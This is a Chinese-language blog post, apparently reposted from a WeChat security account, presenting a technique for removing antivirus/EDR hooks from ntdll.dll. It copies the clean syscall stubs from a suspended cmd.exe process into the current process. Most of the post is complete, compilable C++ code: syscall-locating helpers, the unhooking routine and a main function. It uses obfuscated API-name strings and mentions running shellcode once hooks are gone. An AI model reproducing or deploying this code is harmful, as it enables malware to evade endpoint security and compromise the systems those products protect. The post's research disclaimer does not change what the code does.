一种解除反病毒软件函数钩子方法及代码验证

一种解除反病毒软件函数钩子方法及代码验证

点击上方蓝字关注我们

一种解除反病毒软件函数钩子方法及代码验证

声明: 本文涉及的代码只用于技术研究, 不可用于非法用途, 如将本文中的代码用于非法用途造成的一切后果和损失,均由使用者自行承担法律责任。


一种解除反病毒软件函数钩子方法及代码验证

摘要

一种解除反病毒软件函数钩子方法及代码验证

几乎所有的安全产品在安装后, 会安装自己的函数钩子以拦截API调用,并对进程进行持续监控, 评估其是恶意还是良性。本文使用解钩技术涉及启动一个处于挂起状态的新进程, 并将干净的ntdll注入到该进程中, 以在不受杀软干扰的情况下执行, 该方法围绕新生成的进程与杀软之间的竞争条件。


一种解除反病毒软件函数钩子方法及代码验证

解钩思路

一种解除反病毒软件函数钩子方法及代码验证

本文实验使用的解钩技术是将CreateProcessA在挂起状态下初始化一个记事本进程, 其中dwCreateionFlags参数设置为CREATE_SUSPENDED。通过检查挂起进程的进程环境块(PEB)确定ntdll.dll基地址。使用VirtualAlloc为ntdll.dll的干净副本分配内存。通过GetImageExportDirectory检索两个版本ntdll.dll的导出目录, 从干净的ntdll.dll(挂起的notepad.exe进程)中提取NT函数的系统调用副本, 并将其复制到当前运行的进程中。解除ntdll的钩子后, 挂起的记事本进程将被终止, 并在当前进程中执行shellcode以启动calc.exe, 需要注意的是, 当Payload一旦与磁盘进行交互, 将可能立即触发AV/EDR的告警拦截。


一种解除反病毒软件函数钩子方法及代码验证

概念代码实现

一种解除反病毒软件函数钩子方法及代码验证

首先实现两个基础功能函数:LocateFirstSyscall和LocateLastSysCall, 用于分别查找指定内存区域内第一个和最后一个系统调用执行和偏移量, 代码实现如下:


int LocateFirstSyscall(char* pMem, DWORD size) {
    DWORD i = 0;
    DWORD offset = 0;
  
    // 指令: syscall ; 返回: ret
    BYTE pattern1[] = "x0fx05xc3";
  
    // 3个断点: int3 * 3
    BYTE pattern2[] = "xccxccxcc";

    for (i = 0; i < size - 3; i++) {
        if (!memcmp(pMem + i, pattern1, 3)) {
            offset = i;
            break;
        }
    }

    for (i = 3; i < 50; i++) {
        if (!memcmp(pMem + offset - i, pattern2, 3)) {
            offset = offset - i + 3;
            cout << "First syscall identified at 0x" << hex << (void*)(pMem + offset) << endl;
            break;
        }
    }

    return offset;
}
int LocateLastSysCall(char* pMem, DWORD size) {
    DWORD i;
    DWORD offset = 0;
  
    // 指令: syscall ; 返回: ret ; Int 2e ; 返回: ret ; 3个断点: int3 * 3
    BYTE pattern[] = "x0fx05xc3xcdx2exc3xccxccxcc";

    for (i = size - 9; i > 0; i--) {
        if (!memcmp(pMem + i, pattern, 9)) {
            offset = i + 6;
            cout << "Last syscall byte found at 0x" << hex << (void*)(pMem + offset) << endl;
            break;
        }
    }

    return offset;
}

接下来将实现解除钩子的关键函数:RemoveHookFromNtdll, 该函数实现通过复制一个干净的系统调用表来覆盖现有的系统调用表, 从指定进程的ntdll.dll模块中移除钩子。

概念代码实现如下:

static int RemoveHookFromNtdll(const HMODULE hNtdll, const LPVOID pCache) {
    DWORD oldProtection = 0;
    PIMAGE_DOS_HEADER pImgDOSHeader = (PIMAGE_DOS_HEADER)pCache;
    PIMAGE_NT_HEADERS pImgNTHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pCache + pImgDOSHeader->e_lfanew);
    int i;
    unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };

    VirtualProtect_t VirtualProtectFunction = (VirtualProtect_t)GetProcAddress(GetModuleHandle(sKernel32W), (LPCSTR)sVirtualProtect);

    // 搜索.text节
    for (i = 0; i < pImgNTHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER pImgSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
        if (!strcmp((char*)pImgSectionHeader->Name, ".text")) {
            // 准备ntdll.dll内存区域以获取写权限
            VirtualProtectFunction((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHeader->VirtualAddress), pImgSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);

            // 将干净的“系统调用表”复制到ntdll内存中
            DWORD SC_start = LocateFirstSyscall((char*)pCache, pImgSectionHeader->Misc.VirtualSize);
            DWORD SC_end = LocateLastSysCall((char*)pCache, pImgSectionHeader->Misc.VirtualSize);

            if (SC_start != 0 && SC_end != 0 && SC_start < SC_end) {
                DWORD SC_size = SC_end - SC_start;
                cout << "Destination (in ntdll): " << (void*)((DWORD_PTR)hNtdll + SC_start) << endl;
                cout << "Source (in cache): " << (void*)((DWORD_PTR)pCache + SC_start) << endl;
                cout << "Size: " << SC_size << endl;
                cin.get(); // 用cin.get()替换getchar()。

                memcpy((LPVOID)((DWORD_PTR)hNtdll + SC_start),
                    (LPVOID)((DWORD_PTR)pCache + +SC_start),
                    SC_size);
            }

            // 恢复ntdll的原始保护设置
            VirtualProtectFunction((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHeader->VirtualAddress), pImgSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);

            if (!oldProtection) {
                // 失败
                return -1;
            }
            return 0;
        }
    }

    // 失败或.text节未找到!
    return -1;
}

下面将实现在主函数main中实现调用功能, 在main函数中, 实现了以下功能:

  • 使用CreateProcessA创建一个挂起的进程(cmd.exe)

  • 获取ntdll模块在内存中的大小

  • 分配一个本地缓冲区(pCache)来存储来自远程进程的干净ntdll的临时副本

  • 将ntdll模块从远程进程读取到本地缓冲区中

  • 终止远程进程

  • 调用RemoveHookFromNtdll来移除钩子,并打印”Unhooking ntdll.”

内存操作流程如下:

  • 使用ReadProcessMemory和VirtualAlloc等内存操作来操作远程进程内的内存

  • 输出语句: 程序使用cout语句打印各种信息性消息和调试输出。

  • 终止和清理:程序终止远程进程,移除钩子,并清理分配的内存。

main函数概念代码如下:

int main(void) {
    HANDLE hProcess = NULL;
    int result = 0;
    STARTUPINFOA startupInfo = { 0 };
    PROCESS_INFORMATION processInfo = { 0 };
    BOOL createSuccess = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, "C:\Windows\System32\", &startupInfo, &processInfo);

    if (createSuccess == FALSE) {
        cout << "[!] Error: Unable to invoke CreateProcess" << endl;
        return 1;
    }

    // 获取ntdll模块在内存中的大小
    char* pNtdllAddress = (char*)GetModuleHandle(L"ntdll.dll");
    IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pNtdllAddress;
    IMAGE_NT_HEADERS* pNTHeader = (IMAGE_NT_HEADERS*)(pNtdllAddress + pDosHeader->e_lfanew);
    IMAGE_OPTIONAL_HEADER* pOptionalHeader = &pNTHeader->OptionalHeader;

    SIZE_T ntdllSize = pOptionalHeader->SizeOfImage;

    // 分配一个本地缓冲区,用于保存从远程进程中复制的干净ntdll的临时副本
    LPVOID pCache = VirtualAlloc(NULL, ntdllSize, MEM_COMMIT, PAGE_READWRITE);
    cout << "ntdll size: " << hex << ntdllSize << " | cache: " << pCache << endl;

    SIZE_T bytesRead = 0;
    if (!ReadProcessMemory(processInfo.hProcess, pNtdllAddress, pCache, ntdllSize, &bytesRead))

    cout << "Error reading: " << bytesRead << " | " << GetLastError() << endl;
    cout << "Kill?";

    TerminateProcess(processInfo.hProcess, 0);
    cout << "Done." << endl;
    // 成功解除钩子
    cout << "Unhooking ntdll" << endl;

    result = RemoveHookFromNtdll(GetModuleHandle(sNtdllW), pCache);
    cout << "YAY!" << endl; cin.get();

    // 资源清理.
    VirtualFree(pCache, 0, MEM_RELEASE);
    return 0;
}

相关头文件和参数定义:

#include <winternl.h>
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <psapi.h>

#pragma comment (lib, "advapi32")

using namespace std;

typedef BOOL(WINAPI* VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
wchar_t sNtdllW[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', 0x0 };
wchar_t sKernel32W[] = { L'k', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', 0x0 };


一种解除反病毒软件函数钩子方法及代码验证

概念验证

一种解除反病毒软件函数钩子方法及代码验证

将代码编译并执行,看看是否能成功移除杀软的函数钩子。在一个getchar之前, 可以看到杀软注入的钩子位于最关键的NT函数中,比如:NtCreateThread:

一种解除反病毒软件函数钩子方法及代码验证

然后点击一个键,因为接下来是 getchar

一种解除反病毒软件函数钩子方法及代码验证

程序顺利执行, 现在再看下杀软钩子是否解除成功,如图:

一种解除反病毒软件函数钩子方法及代码验证

可以看到,钩子已被成功解除。




点个在看你最好看

一种解除反病毒软件函数钩子方法及代码验证

原文始发于微信公众号(二进制空间安全):一种解除反病毒软件函数钩子方法及代码验证

版权声明:admin 发表于 2024年3月22日 下午3:22。
转载请注明:一种解除反病毒软件函数钩子方法及代码验证 | CTF导航

相关文章